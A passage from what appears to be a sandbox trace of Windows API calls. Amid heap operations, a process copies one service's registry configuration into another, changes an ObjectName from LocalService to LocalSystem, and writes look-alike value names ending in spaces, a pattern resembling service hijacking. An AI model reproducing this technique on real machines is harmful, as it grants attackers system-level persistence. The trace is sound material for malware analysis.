BaseAddress=0x1de4d98) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d4f8) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d448) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d438) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a38) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d428) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de49f0) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d418) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de49a8) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d408) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d3f8) returned 1 [0251.149] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58dd90) returned 1 [0251.150] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0251.150] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0251.150] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0251.150] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc0) returned 0x1dd7310 [0251.150] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0251.150] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e578 [0251.150] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd7310) returned 1 [0251.150] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x140) returned 0x1dd29e0 [0251.150] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6e578) returned 1 [0251.150] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x180) returned 0x1dd2b28 [0251.150] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd29e0) returned 1 [0251.150] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1c0) returned 0x1e708b8 [0251.150] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd2b28) returned 1 [0251.150] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x1e708b8*, cbData=0x195 | out: lpData=0x1e708b8*) returned 0x0 [0251.151] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e708b8) returned 1 [0251.151] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0251.151] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="SeChangeNotifyPrivilege", cbData=0x18 | out: lpData="SeChangeNotifyPrivilege") returned 0x0 [0251.151] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0251.151] RegEnumValueA (in: hKey=0xc8, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.151] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d648 [0251.151] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3f8 [0251.151] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0251.151] RegEnumValueA (in: hKey=0xc8, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.151] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d408 [0251.151] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de49a8 [0251.151] RegEnumValueA (in: hKey=0xc8, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.151] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d418 [0251.151] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de49f0 [0251.151] RegEnumValueA (in: hKey=0xc8, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.151] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d428 [0251.151] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a38 [0251.151] RegEnumValueA (in: hKey=0xc8, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.151] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x20) returned 0x58bc08 [0251.151] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d648) returned 1 [0251.151] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d438 [0251.151] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0251.151] RegEnumValueA (in: hKey=0xc8, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.151] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d448 [0251.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0251.152] RegEnumValueA (in: hKey=0xc8, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d4f8 [0251.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4d98 [0251.152] RegEnumValueA (in: hKey=0xc8, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d4e8 [0251.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4d50 [0251.152] RegEnumValueA (in: hKey=0xc8, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x30) returned 0x1e6f870 [0251.152] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bc08) returned 1 [0251.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d4d8 [0251.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4d08 [0251.152] RegEnumValueA (in: hKey=0xc8, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d4c8 [0251.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4cc0 [0251.152] RegEnumValueA (in: hKey=0xc8, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d4b8 [0251.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4c78 [0251.152] RegEnumValueA (in: hKey=0xc8, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4c30 [0251.152] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4c30) returned 1 [0251.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4c30 [0251.152] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4c30) returned 1 [0251.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4c30 [0251.152] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4c30) returned 1 [0251.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4c30 [0251.152] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4c30) returned 1 [0251.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4c30 [0251.152] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d3f8) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de49a8) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d408) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de49f0) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d418) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a38) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d428) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d438) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d448) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4d98) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d4f8) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4d50) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d4e8) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4d08) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d4d8) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4cc0) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d4c8) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4c78) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d4b8) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6f870) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4c30) returned 1 [0251.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4c30 [0251.153] RegQueryValueExA (in: hKey=0x154, lpValueName="ObjectName", lpReserved=0x0, lpType=0x18fb70, lpData=0x0, lpcbData=0x18fb78*=0x0 | out: lpType=0x18fb70*=0x1, lpData=0x0, lpcbData=0x18fb78*=0x1a) returned 0x0 [0251.153] RegQueryValueExA (in: hKey=0x154, lpValueName="ObjectName", lpReserved=0x0, lpType=0x18fb70, lpData=0x1de4c30, lpcbData=0x18fb78*=0x1a | out: lpType=0x18fb70*=0x1, lpData="NT AUTHORITY\\LocalService", lpcbData=0x18fb78*=0x1a) returned 0x0 [0251.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4c78 [0251.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d648 [0251.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d4b8 [0251.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4cc0 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4c78) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4c30) returned 1 [0251.153] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d258) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d660) returned 1 [0251.154] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d660 [0251.154] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d258 [0251.154] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0251.154] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4cc0) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d4b8) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d648) returned 1 [0251.154] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4cc0 [0251.154] RegQueryValueExA (in: hKey=0xc8, lpValueName="ObjectName", lpReserved=0x0, lpType=0x18fb70, lpData=0x0, lpcbData=0x18fb78*=0x0 | out: lpType=0x18fb70*=0x1, lpData=0x0, lpcbData=0x18fb78*=0xc) returned 0x0 [0251.154] RegQueryValueExA (in: hKey=0xc8, lpValueName="ObjectName", lpReserved=0x0, lpType=0x18fb70, lpData=0x1de4cc0, lpcbData=0x18fb78*=0xc | out: lpType=0x18fb70*=0x1, lpData="LocalSystem", lpcbData=0x18fb78*=0xc) returned 0x0 [0251.154] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4c30 [0251.154] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d648 [0251.154] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d4b8 [0251.154] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4c78 [0251.154] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4c30) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4cc0) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4888) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d3d8) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4840) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d3c8) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4960) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d3b8) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4918) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d3a8) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de48d0) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d398) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47f8) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d268) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d388) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d378) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d368) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4690) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d358) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4b10) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d458) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4648) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d348) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4600) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d338) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de45b8) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d328) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4570) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d318) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4528) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d308) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2f8) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd77f8) returned 1 [0251.155] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d630 [0251.155] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2f8 [0251.155] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4c78) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d4b8) returned 1 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d648) returned 1 [0251.155] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4c78 [0251.155] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0251.155] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4c78) returned 1 [0251.155] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4c78 [0251.155] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="NT AUTHORITY\\LocalService", cbData=0x1a | out: lpData="NT AUTHORITY\\LocalService") returned 0x0 [0251.156] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4c78) returned 1 [0251.156] RegEnumValueA (in: hKey=0xc8, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d648 [0251.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d4b8 [0251.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4c78 [0251.156] RegEnumValueA (in: hKey=0xc8, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d308 [0251.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4528 [0251.156] RegEnumValueA (in: hKey=0xc8, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d318 [0251.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4570 [0251.156] RegEnumValueA (in: hKey=0xc8, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d328 [0251.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de45b8 [0251.156] RegEnumValueA (in: hKey=0xc8, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x20) returned 0x58bc08 [0251.156] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d648) returned 1 [0251.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d338 [0251.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4600 [0251.156] RegEnumValueA (in: hKey=0xc8, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d348 [0251.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4648 [0251.156] RegEnumValueA (in: hKey=0xc8, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d458 [0251.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4b10 [0251.156] RegEnumValueA (in: hKey=0xc8, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d358 [0251.157] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4690 [0251.157] RegEnumValueA (in: hKey=0xc8, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.157] RegEnumValueA (in: hKey=0xc8, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.157] RegEnumValueA (in: hKey=0xc8, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.157] RegEnumValueA (in: hKey=0xc8, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.157] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0251.157] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47f8) returned 1 [0251.157] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0251.157] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47f8) returned 1 [0251.157] RegEnumValueA (in: hKey=0xc8, dwIndex=0x0, lpValueName=0x18fa78, 